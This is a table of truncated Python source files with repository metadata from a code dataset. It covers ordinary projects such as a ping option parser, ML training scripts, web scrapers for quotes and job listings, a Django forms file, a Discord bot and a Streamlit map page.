seq_id string | text string | repo_name string | sub_path string | file_name string | file_ext string | file_size_in_byte int64 | program_lang string | lang string | doc_type string | stars int64 | dataset string | pt string | api list |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
11880730133 | #!/usr/bin/python
import argparse
import time
import struct
import socket
import select
import sys
class PingOptions(object):
def __init__(self):
"""Reset the class; indicates the class hasn't been initailized"""
self.initialized = False
def initialize(self, parser):
parser.add_argum... | jansona/MyPingGUI | src/main/python/MyPing/opts.py | opts.py | py | 1,425 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "argparse.ArgumentDefaultsHelpFormatter",
"line_number": 25,
"usage_type": "attribute"
}
] |
71688402345 | __author__ = 'vamsee'
import geojson as geo
Center = (-83.79706,42.268138)
Center_Point = geo.Point(Center)
def get_locations(filename,lat_idx,long_idx, write_filename,point_properties):
opened_file = open(filename)
features_list = []
for line in opened_file:
line_contents = line.split(',')
... | vamseedhar-reddyvari/Connected-Vehicles | scripts/rse-locations.py | rse-locations.py | py | 1,254 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "geojson.Point",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "geojson.Feature",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "geojson.Point",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "geojson.FeatureCollection"... |
37215521511 | import pymc as pm
import numpy as np
x = np.random.normal(loc=0, scale=1, size=10) # Data Placeholder
y = np.random.normal(loc=2*x, scale=1, size=10) # Data Placeholder
with pm.Model() as model:
# Priors
α = pm.Normal("α", 1, 2)
β = pm.Normal("β", -1, 2)
σ = pm.Exponential("σ", 3)
# Linear Model
μ = pm.Deter... | pbrowne88/pykrusch | examples/simple_model.py | simple_model.py | py | 587 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.random.normal",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "numpy.random",
"line_number": 4,
"usage_type": "attribute"
},
{
"api_name": "numpy.random.normal",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "numpy.random",... |
3520925666 | #!/usr/bin/env python
import math
import copy
import matplotlib.pyplot as plt
def plot_obstacles(previous_obstacles, new_obstacles, updated_obstacles, updated_labels):
# Extract x and y coordinates from the obstacles lists
prev_x, prev_y, new_x, new_y, updated_x, updated_y = [], [],[],[],[],[]
if len(pr... | husamhamu/ps_robotik | update_obstacles_approach.py | update_obstacles_approach.py | py | 5,081 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "matplotlib.pyplot.figure",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "matplotlib.pyplot.scatter",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "... |
20142637580 | import os, sys, argparse
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import numpy as np
import pandas as pd
import tensorflow as tf
import tensorflow.keras.backend as K
from tensorflow.keras.layers import Add, Concatenate, Dense, Embedding, Flatten, Input, InputLayer, Lambda, Layer, Reshape, Subtract
tf.keras.backend.set... | zachglick/directional-mpnn | train.py | train.py | py | 4,767 | python | en | code | 6 | github-code | 36 | [
{
"api_name": "os.environ",
"line_number": 2,
"usage_type": "attribute"
},
{
"api_name": "tensorflow.keras.backend.set_floatx",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "tensorflow.keras",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name":... |
625334349 | import os
import time
import aiofiles
import aiohttp
import asyncio
from retrying import retry
class Spider(object):
"""
下载路径在实例化时候指定，比如:r'd:\test\\'，这个目录如果不存在，会出错。
默认路径为当前文件下的downpic目录，此目录如果不存在会自动生成
"""
def __init__(self, down_path='', ):
self.headers = {
'User-Agent': 'Mozi... | chenxy2022/long | yituhuitu.py | yituhuitu.py | py | 5,707 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.listdir",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "os.mkdir",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 26,
... |
733407856 | import sqlite3
import pandas as pd
from sklearn.metrics.pairwise import cosine_similarity
def get_latent_dataframe():
conn = sqlite3.connect('db/latent_features.db')
# Load the DataFrame from the database
latent_df = pd.read_sql_query('SELECT * FROM latent_features', conn,index_col='index')
conn.close(... | haris-bit/TMDB | util.py | util.py | py | 3,156 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sqlite3.connect",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "pandas.read_sql_query",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "sklearn.metrics.pairwise.cosine_similarity",
"line_number": 18,
"usage_type": "call"
},
{
"ap... |
1188276033 | import json
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session
from app import config
class TestNodeInfoNodeInfo:
# テスト対象API
apiurl = "/NodeInfo"
# ＜正常系1＞
# 通常参照
def test_nodeinfo_normal_1(self, client: TestClient, session: Session):
resp = client.get(self.apiu... | BoostryJP/ibet-Wallet-API | tests/app/node_info_NodeInfo_test.py | node_info_NodeInfo_test.py | py | 3,543 | python | en | code | 9 | github-code | 36 | [
{
"api_name": "fastapi.testclient.TestClient",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "sqlalchemy.orm.Session",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "json.load",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "json.l... |
16636321945 | from torch import nn
__all__ = ["DropPath"]
def drop_path(x, drop_prob: float = 0.0, training: bool = False, scale_by_keep: bool = True):
"""Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks).
This is the same as the DropConnect impl I created for EfficientNet, etc netwo... | BloodAxe/pytorch-toolbelt | pytorch_toolbelt/modules/drop_path.py | drop_path.py | py | 1,579 | python | en | code | 1,447 | github-code | 36 | [
{
"api_name": "torch.nn.Module",
"line_number": 26,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 26,
"usage_type": "name"
}
] |
32120333326 | import scrapy
from scrapy.loader import ItemLoader
from goodreads.items import QuoteItem # used to filter the data
class GoodReadsSpider(scrapy.Spider):
#identity
name = 'goodreads'
#request
def start_requests(self):
url = 'https://www.goodreads.com/quotes?page=1'
yield scrapy.Reque... | Karthiindia90/Goodreads | goodreads/spiders/goodreads.py | goodreads.py | py | 1,593 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "scrapy.Spider",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "scrapy.Request",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "scrapy.loader.ItemLoader",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "goodreads.i... |
31352736355 | # For data loading
from scipy.io import loadmat
# For splitting the data into test, train, validation splits
from sklearn.model_selection import train_test_split
# For manipulation of the arrays
import numpy as np
# For file manipulation and locating
import os
# For plotting
import json
# For showing progress
from tqdm... | martinferianc/PatternRecognition-EIE4 | Coursework 2/pre_process.py | pre_process.py | py | 8,332 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "numpy.random.choice",
"line_number": 43,
"usage_type": "call"
},
{
"api_name": "numpy.random",
"line_number": 43,
"usage_type": "attribute"
},
{
"api_name": "seaborn.set",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "pandas.DataFrame",
... |
29719398042 |
# # Hot Wire RNN
#%%
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
import time
#%%
#Import data, U for velocity and sample rate as frequency
import h5py
with h5py.File('../resource/asnlib/publicdata/hot_wire_data.mat', 'r') as f:
U = list(f['U'])
freq = list(f['samp_rate'])
#%%
... | nathanboachie/sw_projects | src_deeplearningtf/wire_rnn_lstm_tf.py | wire_rnn_lstm_tf.py | py | 3,546 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "h5py.File",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "numpy.arange",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "tensorflow.data.Dataset.from_tensor_slices",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "ten... |
25734461539 | import discord
import os
from discord.ext import commands
from asyncio import sleep
from dotenv import load_dotenv
from cogs.giveaway import giveaway
from cogs.polls import Polls
load_dotenv()
intents = discord.Intents.default()
intents.members = True
prefix = commands.when_mentioned_or('-')
bot = commands.Bot(comma... | tyler7kehoe/Argus | bot.py | bot.py | py | 1,489 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "dotenv.load_dotenv",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "discord.Intents.default",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "discord.Intents",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "disco... |
25465846204 | from drf_yasg.utils import swagger_auto_schema
from rest_framework.generics import ListCreateAPIView
from rest_framework.response import Response
from rest_framework.views import APIView
from rest_framework.parsers import MultiPartParser
from service_objects.services import ServiceOutcome
from api.constants import *
f... | sasha-pipec/mentor_project | api/views/comment/views.py | views.py | py | 3,808 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "rest_framework.generics.ListCreateAPIView",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "rest_framework.parsers.MultiPartParser",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "api.utils.CustomTokenAuthentication",
"line_number": 18,
... |
29029006849 | """
Definition of forms.
"""
from django import forms
from django.contrib.auth.forms import AuthenticationForm
from django.utils.translation import ugettext_lazy as _
from django.db import models # Лаба 9
from .models import Comment # Лаба 9
from .models import Blog #лаба 10
from .models import Catalog #New
class Bo... | InovTe4/DjangoWebProject1 | app/forms.py | forms.py | py | 3,202 | python | ru | code | 0 | github-code | 36 | [
{
"api_name": "django.contrib.auth.forms.AuthenticationForm",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "django.forms.CharField",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "django.forms",
"line_number": 15,
"usage_type": "name"
},
{
"... |
40086679560 | # -*- coding: utf-8 -*-
"""
Created on Fri Aug 27 13:25:02 2021
@author: Luca Medeiros
"""
import glob
import yaml
import torch
import wandb
import random
import json
from argparse import ArgumentParser, Namespace
from collections import defaultdict
from sklearn.metrics import f1_score
from model impo... | luca-medeiros/zeroshot_lightning | test.py | test.py | py | 7,875 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "yaml.safe_load",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "argparse.Namespace",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "utils.ImageInstance",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "torch.utils.dat... |
41028938045 | from Functions import Functions_Configs as configFunc
from Functions import Functions_SQL_Interfacing as sqlf
from Functions import Functions_FFlogsAPI as fflogs
import pandas as pd
import csv
import time
import os
import datetime
import mysql.connector
import _01_Extract_Data as extract
import _02_Map_Statics as mapst... | ystol/FFlogs-Analysis | _04_Get_static_performance.py | _04_Get_static_performance.py | py | 4,951 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.options",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "Functions.Functions_SQL_Interfacing.get_from_MYSQL_to_df",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "Functions.Functions_SQL_Interfacing",
"line_number": 18,
"us... |
9285859360 | from os import path
from tkinter import Label, Frame, TOP, BOTTOM, RIGHT, LEFT, N, E, S, W, X, Y, BOTH, Tk, filedialog
import math
from pathlib import Path
import pyautogui
import numpy as np
from time import sleep
from PIL import Image, ImageTk
from pyautogui import position
import cv2
from src.auto_align import aut... | IronicPickle/dw-piper | src/snap.py | snap.py | py | 11,091 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "src.lib.tk_overlay.TkOverlay",
"line_number": 23,
"usage_type": "name"
},
{
"api_name": "PIL.Image.open",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "PIL.Image",
"line_number": 29,
"usage_type": "name"
},
{
"api_name": "os.path.join",
... |
12217757601 | import zmq
import os
import time
#Send Receve Server
process = str(os.getpid())
print ('PID: ' + process)
try:
ctx = zmq.Context.instance()
#socket = ctx.socket(zmq.REP)
socket = ctx.socket(zmq.DEALER)
socket.bind('tcp://127.0.0.1:4000')
print('Server listening on : 127.0.0.1:3000\n...')
except ... | mcesarpl/pyZMQ-Monitor-Master-Client | SR_server.py | SR_server.py | py | 681 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.getpid",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "zmq.Context.instance",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "zmq.Context",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "zmq.DEALER",
"line... |
72193969063 | #!/usr/bin/env python
# coding: utf-8
# In[7]:
import os
import csv
import json
f2 = open('allproducts.csv', 'w')
f2.write("prod_id,prod_sku,prod_cat,prod_name\n")
f2.close()
f2 = open('allproducts.csv', 'a')
writer = csv.writer(f2, delimiter=',', lineterminator='\n')
for root, dirs, files in os.walk('output'):
... | chennavc/threding | combine.py | combine.py | py | 942 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "csv.writer",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "os.walk",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "os.sep",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "os.sep",
"line_number": 22,
"u... |
37380582441 | # File name: floatlayout.py
from kivy.lang import Builder
from kivy.app import App
from kivy.uix.floatlayout import FloatLayout
from kivy.uix.togglebutton import ToggleButton
from kivy.clock import Clock
from kivy.utils import platform
class FloatLayoutWidget(FloatLayout):
def __init__(self, *args, **kwargs):
sup... | Conner-JD/ISAT-280 | lab5/mfield/myfield/main.py | main.py | py | 1,503 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "kivy.uix.floatlayout.FloatLayout",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "kivy.app.App",
"line_number": 19,
"usage_type": "name"
},
{
"api_name": "kivy.utils.platform",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "jni... |
73478576745 | from pprint import pformat
from six import iteritems
class PIResponse(object):
swagger_types = {
'status': 'int',
'headers': 'dict(str, str)',
'content': 'object',
}
attribute_map = {
'status': 'Status',
'headers': 'Headers',
'content': 'Content',
}
def __init__(self, status=None, headers=None, cont... | dcbark01/PI-Web-API-Client-Python | osisoft/pidevclub/piwebapi/models/pi_response.py | pi_response.py | py | 1,762 | python | en | code | 39 | github-code | 36 | [
{
"api_name": "six.iteritems",
"line_number": 56,
"usage_type": "call"
},
{
"api_name": "pprint.pformat",
"line_number": 76,
"usage_type": "call"
}
] |
38115304895 | import torch;
import torch.nn as nn;
import torch.nn.functional as F;
import torchvision;
import torchvision.transforms as transforms;
from torchvision.models.detection.faster_rcnn import FastRCNNPredictor;
from torchvision.models.detection.mask_rcnn import MaskRCNNPredictor;
from engine import train_one_epoch... | evgen32cd32/torchvisionBGremoval | BGRemovalTest.py | BGRemovalTest.py | py | 4,392 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.Inf",
"line_number": 26,
"usage_type": "attribute"
},
{
"api_name": "torch.utils",
"line_number": 44,
"usage_type": "attribute"
},
{
"api_name": "pycocotools.coco.COCO",
"line_number": 48,
"usage_type": "call"
},
{
"api_name": "PIL.Image.open"... |
6791686071 | from django.core.exceptions import ObjectDoesNotExist
from rest_framework import serializers
from exo_mentions.api.serializers import SearchMentionResultsSerializer
from circles.models import Circle
class SearchMentionSerializer(serializers.Serializer):
search = serializers.CharField(required=False, allow_blan... | tomasgarzon/exo-services | service-exo-core/mentions/api/serializers.py | serializers.py | py | 1,062 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "rest_framework.serializers.Serializer",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "rest_framework.serializers",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "rest_framework.serializers.CharField",
"line_number": 11,
"usage_type... |
70188064425 | import re
import requests
url = "https://search.51job.com/list/020000,000000,0000,00,9,99,python,2,{}.html?lang=c&stype=&postchannel=0000&workyear=99&cotype=99°reefrom=99&jobterm=99&companysize=99&providesalary=99&lonlat=0%2C0&radius=-1&ord_field=0&confirmdate=9&fromType=&dibiaoid=0&address=&line=&specialarea=00&fr... | M0025/PythonSpider | codes/crawlers/51job-demo-2.py | 51job-demo-2.py | py | 1,620 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "re.compile",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "re.S",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "re.findall",
"line_number": 17,
... |
20895643740 | from . import create_app
from .model import Option, Meal, TIME_FORMAT, list_of
import json
from datetime import datetime
from typing import List
from flask import request
from flask_restful import (
Api,
Resource,
fields,
marshal_with,
marshal_with_field,
)
app = create_app()
api = Api(app)
mea... | genzj/flask-restful-api-course | s03-output-fields/meal_options/meal_options/app.py | app.py | py | 1,605 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "flask_restful.Api",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "typing.List",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "model.Meal",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "model.Meal",
"line_numbe... |
19878151397 | import re
import functools
class InputError(Exception):
"""Exception to be raised for invalid inputs.
"""
def __init__(self, char, message="Input is invalid."):
"""
Parameters
----------
char : str
Invalidad character raising this exception.
message: st... | gonzaferreiro/python_enigma_machine | errorHandling.py | errorHandling.py | py | 3,663 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "re.findall",
"line_number": 65,
"usage_type": "call"
},
{
"api_name": "re.findall",
"line_number": 88,
"usage_type": "call"
},
{
"api_name": "functools.update_wrapper",
"line_number": 101,
"usage_type": "call"
}
] |
19510966399 | #from selenium import webdriver
#from selenium.webdriver.common.by import By
#import time
#from selenium.webdriver import ActionChains
from pages.home.login_pages import LoginPage
from utilities.teststatus import TestStatus
import unittest
import pytest
@pytest.mark.usefixtures("oneTimeSetUp","setUp")
class LoginTes... | pprad123/python-selenium-framework | tests/home/login_tests.py | login_tests.py | py | 1,344 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "unittest.TestCase",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "pages.home.login_pages.LoginPage",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "utilities.teststatus.TestStatus",
"line_number": 17,
"usage_type": "call"
},
... |
38227453623 | from collections import defaultdict
from datetime import time
from typing import Dict, List
import pandas as pd
from pandas import ExcelFile
class ConfigMaker:
def make_regions_config(self, excel_file: ExcelFile) -> Dict[str, str]:
regions = {}
df = pd.read_excel(excel_file, sheet_name="Region--... | tenetko/phone-numbers-beautifier | backend/src/core/config_maker/tzb_config_maker.py | tzb_config_maker.py | py | 3,898 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.ExcelFile",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "pandas.read_excel",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "typing.Dict",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "pandas.ExcelFile",
... |
12196143390 | import matplotlib.pyplot as plt
import numpy as np
from matplotlib.animation import FuncAnimation
fig = plt.figure()
ax = fig.add_subplot()
x_data = np.linspace(-10, 10, 100)
sinx = np.sin(x_data)
cosx = np.cos(x_data)
ax.set_xlim(-10, 10)
ax.set_ylim(2, -2)
line1, = plt.plot(x_data, sinx)
line2, = plt.plot(x_data, co... | marksverdhei/advanced_matplotlib_workshop | demos/enkel_animasjon.py | enkel_animasjon.py | py | 531 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "matplotlib.pyplot.figure",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "numpy.linspace",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "numpy.sin",
... |
39807470849 | from grid_world import *
from numpy.random import choice
import numpy as np
import random
from matplotlib import pyplot as plt
class DiscreteSoftmaxPolicy(object):
def __init__(self, num_states, num_actions, temperature):
self.num_states = num_states
self.num_actions = num_actions
self.temp... | nipunbhanot/Reinforcement-Learning---Policy-Gradient | Policy Gradient Control/reinforce_skeleton.py | reinforce_skeleton.py | py | 5,841 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "numpy.random.randn",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "numpy.random",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "numpy.sqrt",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "numpy.random.choice",... |
17895586270 | r"""CLIP ImageNet zero-shot evaluation.
"""
# pylint: enable=line-too-long
import ml_collections
from configs import clip_common # local file import from experimental.multimodal
def get_config():
"""Config for zero-shot evaluation of CLIP on ImageNet."""
config = ml_collections.ConfigDict()
config.model_na... | google/uncertainty-baselines | experimental/multimodal/configs/clip_zeroshot_eval.py | clip_zeroshot_eval.py | py | 6,176 | python | en | code | 1,305 | github-code | 36 | [
{
"api_name": "ml_collections.ConfigDict",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "configs.clip_common.IMAGE_RESOLUTION",
"line_number": 34,
"usage_type": "attribute"
},
{
"api_name": "configs.clip_common",
"line_number": 34,
"usage_type": "name"
},
... |
19241188993 | """Can we download user information?"""
from datetime import date, datetime, timedelta
import pytest
import requests
import mal_scraper
class TestDiscovery(object):
"""Test discovery of usernames."""
DISCOVERY_LINK = 'http://myanimelist.net/users.php'
# TODO: Test Cache
# TODO: Test fall-back
... | QasimK/mal-scraper | tests/mal_scraper/test_users.py | test_users.py | py | 10,125 | python | en | code | 19 | github-code | 36 | [
{
"api_name": "mal_scraper.discover_users",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "mal_scraper.discover_users",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "pytest.raises",
"line_number": 41,
"usage_type": "call"
},
{
"api_name": "r... |
39266700309 | import sys
import cv2
import matplotlib.pyplot as plt
print(cv2.__version__)
path = '../main/big_data/lecture/week9/data/cat.bmp'
img = cv2.imread(path)
plt.imshow(cv2.cvtColor(img,cv2.COLOR_BGR2RGB))
plt.show()
if img is None:
print('image load failed')
sys.exit()
cv2.namedWindow('image')
cv2.imshow('image'... | jjh0987/multi_campus | big_data/lecture/week9/cv2_practice0.py | cv2_practice0.py | py | 1,666 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "cv2.__version__",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "cv2.imread",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.imshow",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "matplotlib.pypl... |
39247108881 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Feb 26 11:46:50 2023
@author: BD
Evaluate and plot the effect of package color on the win rate
"""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
def draw_it(i):
ax.errorbar(x[i], MC_mean[i], yerr=uncertainty[i], fmt='o', el... | deshev/Candies | package_color.py | package_color.py | py | 2,290 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "numpy.unique",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "numpy.mean",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "numpy.std",
"line_number"... |
37820408361 | from django.contrib.gis.geos import Point, Polygon, GEOSGeometry
import requests
import pytest
import json
API_URL = "http://127.0.0.1:8000/api/buildings/"
@pytest.fixture
def building_data():
return {
"geom": {
"type": "Polygon",
"coordinates": [
[
... | ValarValar/GeoDjangoRestTest | GeoBack/TestTask/tests/test_dist.py | test_dist.py | py | 5,384 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pytest.fixture",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "requests.get",
"line_number": 43,
"usage_type": "call"
},
{
"api_name": "django.contrib.gis.geos.Point",
"line_number": 50,
"usage_type": "call"
},
{
"api_name": "pytest.... |
23522566087 | # "Eugene Morozov"<Eugene ~at~ HiEugene.com>
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from util import get_color
import time
def plotX(X, mu, M, N, K, r, ax):
for i in range(M):
if plotX.px[i]: plotX.px[i].remove()
if N == 2:
plotX.px[i] = ... | eugegit/examples | k_means.py | k_means.py | py | 2,211 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "util.get_color",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "util.get_color",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "util.get_color",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "util.get_color",
"li... |
10262708742 | import rospy
import open3d as o3d
import sensor_msgs.point_cloud2 as pc2
from sensor_msgs.msg import PointCloud2
import numpy as np
class RealSensePointCloud:
def __init__(self):
# Initialize ROS node
rospy.init_node('realsense_pointcloud_visualizer')
# Create a subscriber to the RealSense... | yanglh14/DIA | DIA/real_exp/catkin_ws/src/robot_control/scripts/camera.py | camera.py | py | 2,507 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "rospy.init_node",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "rospy.Subscriber",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "sensor_msgs.msg.PointCloud2",
"line_number": 14,
"usage_type": "argument"
},
{
"api_name": "open... |
72198921384 | # -*- coding: utf-8 -*-
"""
Created on Fri Aug 2 11:57:41 2019
Updated 20220904 22:42WER
@authors: wrosing, mfitz
"""
import os
import pathlib
import sys
import socket
import glob
# This routine here removes all mention of previous configs from the path...
# for safety and local computer got clogged with all manne... | LCOGT/ptr-observatory | ptr_config.py | ptr_config.py | py | 2,150 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sys.path",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "sys.path",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "sys.path",
"line_number": 22,
"usage_type": "attribute"
},
{
"api_name": "sys.path",
"line_number... |
11347574978 | from typing import MutableSequence
def fsort(a: MutableSequence, max:int)->None:
# 원소의값은 0이상 max이하
n = len(a)
f = [0]*(max+1)
b = [0]*n
# 도수 분포표 : 해당 값을 인덱스로 가지는 배열을 만들어서 count하면 해당 값이 몇번? 나왔는지 알수있음
for i in range(n): f[a[i]] += 1 # 1 step
# 누적 도수 분포표 : 0 ~ n까지 몇개의 데이터가 있는지 누적된 값을 나... | leekyuyoungcalgo/python_algo | 20220819/countingSort2.py | countingSort2.py | py | 1,028 | python | ko | code | 0 | github-code | 36 | [
{
"api_name": "typing.MutableSequence",
"line_number": 2,
"usage_type": "name"
},
{
"api_name": "typing.MutableSequence",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "random.sample",
"line_number": 20,
"usage_type": "call"
}
] |
36789253348 | from __future__ import print_function
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials
import pandas as pd
from IPython.display import HTML
import loggin... | AdamLenning/sheets-catan | get_stats.py | get_stats.py | py | 9,937 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.path.exists",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "os.path.path",
"line_number": 45,
"usage_type": "attribute"
},
{
"api_name": "os.path",
"line_number": 45,
"usage_type": "name"
},
{
"api_name": "google.oauth2.credentia... |
41766780834 | import curses
##########################################################################
## Este código 'movimenta' o X no terminal ao pressionar as teclas W,S,A,D
##########################################################################
def main(stdscr):
# Configurações iniciais do terminal
stdscr.clear()
... | mathemaia/studies | Python/Bibliotecas/Curses/main.py | main.py | py | 1,378 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "curses.curs_set",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "curses.wrapper",
"line_number": 50,
"usage_type": "call"
}
] |
11836108476 | from collections import OrderedDict as OD
from numpy import exp, log as ln
from styles import mark_styles
def KWW(t, tau, beta):
"Kohlrausch-Williams-Watts compressed (beta>1) exponential function."
return 1 - exp(-(t/tau)**beta)
KWW.title = 'Non-normalized Kohlrausch-Williams-Watts compressed (beta>1) exponen... | hingels/CoOP-Assembly-Analyzer | Curves/KWW.py | KWW.py | py | 2,547 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.exp",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "numpy.log",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "numpy.exp",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "numpy.exp",
"line_number": 17,
"... |
6994296870 | from lib.cuckoo.common.abstracts import Signature
class DiskInformation(Signature):
name = "antivm_generic_disk"
description = "Queries information on disks, possibly for anti-virtualization"
severity = 3
categories = ["anti-vm"]
authors = ["nex"]
minimum = "2.0"
filter_apinames = [
... | cuckoosandbox/community | modules/signatures/windows/antivm_generic_disk.py | antivm_generic_disk.py | py | 1,192 | python | en | code | 312 | github-code | 36 | [
{
"api_name": "lib.cuckoo.common.abstracts.Signature",
"line_number": 3,
"usage_type": "name"
}
] |
27932648838 | import streamlit as st
import pandas as pd
import numpy as np
import folium
import os
from folium.plugins import HeatMap
from streamlit_folium import st_folium, folium_static
# from gbq_functions.big_query_download import *
from gbq_functions.params import *
import matplotlib.pyplot as plt
import matplotlib as mpl
from... | willbanny/Location-Analysis-Website | streamlit/pages/3_District_Chloropleth.py | 3_District_Chloropleth.py | py | 4,362 | python | en | code | 0 | github-code | 36 | [
{
